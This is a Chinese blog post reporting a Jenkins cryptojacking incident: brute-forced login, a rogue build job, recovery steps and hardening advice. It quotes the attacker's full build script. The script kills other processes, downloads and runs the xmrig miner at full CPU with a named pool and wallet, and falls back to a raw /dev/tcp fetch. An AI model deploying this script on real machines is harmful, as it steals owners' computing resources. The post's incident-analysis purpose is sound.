防伪码: 三十功名尘与土, 八千里路云和月.
公元 2020/04/16 4:38 分, 登录线上服务器, 执行 top 命令执行, 发现已经崩了......
我们的 jenkins 数据是从广州研发部 copy 过来的, 包括 job 和 plugins 目录, 和广州确定了, 下图三个项目和他们无关.
查看控制台构建输出日志, 发现直接把 CPU 搞崩了
然后看这个莫名其妙的未知项目, 发现里面有脚本配置:
- #!/bin/bash
- if [[ $(whoami) != "root" ]]; then
- for tr in $(ps -U $(whoami) | egrep -v "java|ps|sh|egrep|grep|PID" | cut -b1-6); do
- kill -9 $tr || : ;
- done;
- fi
- threadCount=$(lscpu | grep 'CPU(s)' | grep -v ',' | awk '{print $2}' | head -n 1);
- hostHash=$(hostname -f | md5sum | cut -c1-8);
- echo "${hostHash} - ${threadCount}";
- _curl () {
- read proto server path <<<$(echo ${
- 1////
- })
- DOC=/${
- path// //
- }
- HOST=${
- server//:*
- }
- PORT=${
- server//*:
- }
- [[ x"${HOST}" == x"${PORT}" ]] && PORT=80
- exec 3<>/dev/tcp/${
- HOST
- }/$PORT
- echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
- (while read line; do
- [[ "$line" == $'\r' ]] && break
- done && cat) <&3
- exec 3>&-
- }
- rm -rf config.JSON;
- d () {
- curl -L --insecure --connect-timeout 5 --max-time 40 --fail $1 -o $2 2> /dev/null || wget --no-check-certificate --timeout 40 --tries 1 $1 -O $2 2> /dev/null || _curl $1 > $2;
- }
- test ! -s trace && \
- d https://github.com/xmrig/xmrig/releases/download/v5.5.2/xmrig-5.5.2-xenial-x64.tar.gz trace.tgz && \
- tar -zxvf trace.tgz && \
- mv xmrig-5.5.2/xmrig trace && \
- rm -rf xmrig-5.5.2 && \
- rm -rf trace.tgz;
- test ! -x trace && chmod +x trace;
- k() {
- ./trace \
- -r 2 \
- -R 2 \
- --keepalive \
- --no-color \
- --donate-level 1 \
- --max-CPU-usage 100 \
- --CPU-priority 3 \
- --print-time 25 \
- --threads ${
- threadCount:-4
- } \
- --url $1 \
- --user 49RaGEt31SBcxHgJXcZ6HP9b3rrCSRoAYYVuRdjQVhpsUjh2gh9R6xMKshXL9oBQ7JPjF6A21PuxbbDhbjAuTuKT3s7ioo9 \
- --pass x \
- --keepalive
- }
- k pool.minexmr.com:4444
此时只需要禁用该 workspace, 并关闭已启动的进程即可, 服务器就此恢复正常
此时, 发现 jenkins 服务因为物理内存不足启动报错了:
凌晨在不影响用户的情况下重启了实例, jenkins 和 nacos 服务都正常:
后端:
前端:
网上看了很多前辈的经验, 回头总结一下发现, 整个安全事件的根本原因在于 Jenkins 的没有设置密码验证机制, 密码输入错误后可以马上无间断的再次输入, 且没有输入次数限制, 该安全隐患在安装 Jenkins 之处的时候就已经发现了, 但是当时没有处理, 因此给 hacker 暴力破解提供了可能性, 剩下的就简单多了, hacker 暴力破解后, 创建了一个 workspace, 并编写 build 脚本, 并在服务器上安装挖矿程序, 然后推出. 索性是夜间出了问题, 我及时发现, 然后立即去 jenkins 开启安全设置.
检查 crontab 任务是否有异常, 发现并无异常.
准确讲这并不算一个病毒, 只是别人利用密码验证机制的漏洞, 通过 Jenkins 在服务器上部署了一个占用资源非常庞大的应用程序, 客观的说这个应用程序对系统也是无害的, 但从安全角度上讲, kacker 是有能力通过这一漏洞对系统进行破坏的, 所幸的是这是一个线上联调服务器, 不会带来直接的经济损失, 但此处被 hack 的经历, 确实暴漏出我对服务器安全的不重视, 算是一次没有 "花钱" 买的教训. 其实, 安全只是相对的, 没有绝对的安全可言, 还是要提高意识, 做好监控, 做到及时发现, 及时响应!
建议办法:
1,DNS 解析只做到公司 DNS 服务器上 不做外面的服务器 (我都不知道有这么个网址 我怎么黑啊)
2, 服务器上做 VIM /etc/host.deny 设置, 写上数量有限的 IP 或者网段
3, 果是通过 ngx 发布 里面也可以设置黑白名单
4, 只允许内网访问(路由器和云服务器的内外网打通)
5, 降低权限
6, 公网入口应用硬件防火墙, 或者部署跳板机. 7, 每天 (9-18) 可以发布, 其他时间发布, 需要有领导审批, 因为一般都是夜里黑你.
来源: http://blog.51cto.com/yw666/2487709